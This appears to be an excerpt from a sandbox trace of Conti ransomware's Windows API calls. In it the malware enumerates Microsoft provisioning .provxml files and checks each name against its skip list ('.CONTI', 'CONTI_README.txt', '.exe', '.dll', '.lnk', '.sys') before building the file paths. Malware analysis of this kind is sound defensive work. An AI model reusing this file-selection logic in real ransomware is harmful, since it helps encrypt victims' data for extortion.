	[0109.375] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml"
	[0109.375] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d9b6fb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d9b6fb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d9b6fb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="373__C~1.PRO")) returned 1
	[0109.375] lstrcmpiW (lpString1="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.375] lstrcmpiW (lpString1="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.375] StrStrIW (lpFirst="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.375] StrStrIW (lpFirst="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.375] StrStrIW (lpFirst="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.375] StrStrIW (lpFirst="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.375] StrStrIW (lpFirst="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.375] StrStrIW (lpFirst="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.375] StrStrIW (lpFirst="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.375] StrStrIW (lpFirst="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.375] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.375] lstrlenW (lpString="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml") returned 71
	[0109.375] GetProcessHeap () returned 0x1720000
	[0109.375] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x656d830
	[0109.375] lstrcpyW (in: lpString1=0x656d830, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.375] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.375] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml"
	[0109.375] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d9b6fb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d9b6fb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d9b6fb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="374__C~1.PRO")) returned 1
	[0109.375] lstrcmpiW (lpString1="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.375] lstrcmpiW (lpString1="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.375] StrStrIW (lpFirst="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.375] StrStrIW (lpFirst="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.375] StrStrIW (lpFirst="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.375] StrStrIW (lpFirst="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.376] StrStrIW (lpFirst="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.376] StrStrIW (lpFirst="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.376] StrStrIW (lpFirst="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.376] StrStrIW (lpFirst="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.376] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.376] lstrlenW (lpString="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.376] GetProcessHeap () returned 0x1720000
	[0109.376] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x6b80870
	[0109.376] lstrcpyW (in: lpString1=0x6b80870, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.376] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.376] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.376] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90dc1962, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90dc1962, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90dc1962, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x291, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="375__C~1.PRO")) returned 1
	[0109.376] lstrcmpiW (lpString1="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.376] lstrcmpiW (lpString1="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.376] StrStrIW (lpFirst="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.376] StrStrIW (lpFirst="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.376] StrStrIW (lpFirst="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.376] StrStrIW (lpFirst="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.376] StrStrIW (lpFirst="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.376] StrStrIW (lpFirst="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.376] StrStrIW (lpFirst="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.376] StrStrIW (lpFirst="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.376] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.376] lstrlenW (lpString="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml") returned 81
	[0109.376] GetProcessHeap () returned 0x1720000
	[0109.376] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x158) returned 0x6572140
	[0109.376] lstrcpyW (in: lpString1=0x6572140, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.376] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.376] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml"
	[0109.376] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90dc1962, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90dc1962, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90dc1962, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="376__C~1.PRO")) returned 1
	[0109.376] lstrcmpiW (lpString1="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.376] lstrcmpiW (lpString1="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.376] StrStrIW (lpFirst="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.377] StrStrIW (lpFirst="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.377] StrStrIW (lpFirst="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.377] StrStrIW (lpFirst="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.377] StrStrIW (lpFirst="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.377] StrStrIW (lpFirst="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.377] StrStrIW (lpFirst="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.377] StrStrIW (lpFirst="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.377] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.377] lstrlenW (lpString="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml") returned 68
	[0109.377] GetProcessHeap () returned 0x1720000
	[0109.377] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x6567710
	[0109.377] lstrcpyW (in: lpString1=0x6567710, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.377] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.377] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml"
	[0109.377] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90dc1962, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90dc1962, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90dc1962, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", cAlternateFileName="377__C~1.PRO")) returned 1
	[0109.388] lstrcmpiW (lpString1="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.388] lstrcmpiW (lpString1="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.388] StrStrIW (lpFirst="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.389] StrStrIW (lpFirst="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.389] StrStrIW (lpFirst="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.393] StrStrIW (lpFirst="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.393] StrStrIW (lpFirst="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.393] StrStrIW (lpFirst="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.393] StrStrIW (lpFirst="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.393] StrStrIW (lpFirst="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.393] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.393] lstrlenW (lpString="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml") returned 101
	[0109.398] GetProcessHeap () returned 0x1720000
	[0109.398] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x180) returned 0x65722a0
	[0109.398] lstrcpyW (in: lpString1=0x65722a0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.398] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.398] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml"
	[0109.398] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90de7bce, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90de7bce, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90de7bce, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x386, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="378__C~1.PRO")) returned 1
	[0109.403] lstrcmpiW (lpString1="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.403] lstrcmpiW (lpString1="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.407] StrStrIW (lpFirst="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.408] StrStrIW (lpFirst="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.408] StrStrIW (lpFirst="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.408] StrStrIW (lpFirst="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.408] StrStrIW (lpFirst="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.411] StrStrIW (lpFirst="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.411] StrStrIW (lpFirst="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.413] StrStrIW (lpFirst="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.413] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.413] lstrlenW (lpString="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.413] GetProcessHeap () returned 0x1720000
	[0109.413] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x6588a98
	[0109.418] lstrcpyW (in: lpString1=0x6588a98, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.418] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.418] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml"
	[0109.418] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90de7bce, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90de7bce, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90de7bce, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="379__C~1.PRO")) returned 1
	[0109.418] lstrcmpiW (lpString1="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.418] lstrcmpiW (lpString1="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.418] StrStrIW (lpFirst="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.418] StrStrIW (lpFirst="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.418] StrStrIW (lpFirst="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.418] StrStrIW (lpFirst="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.418] StrStrIW (lpFirst="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.418] StrStrIW (lpFirst="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
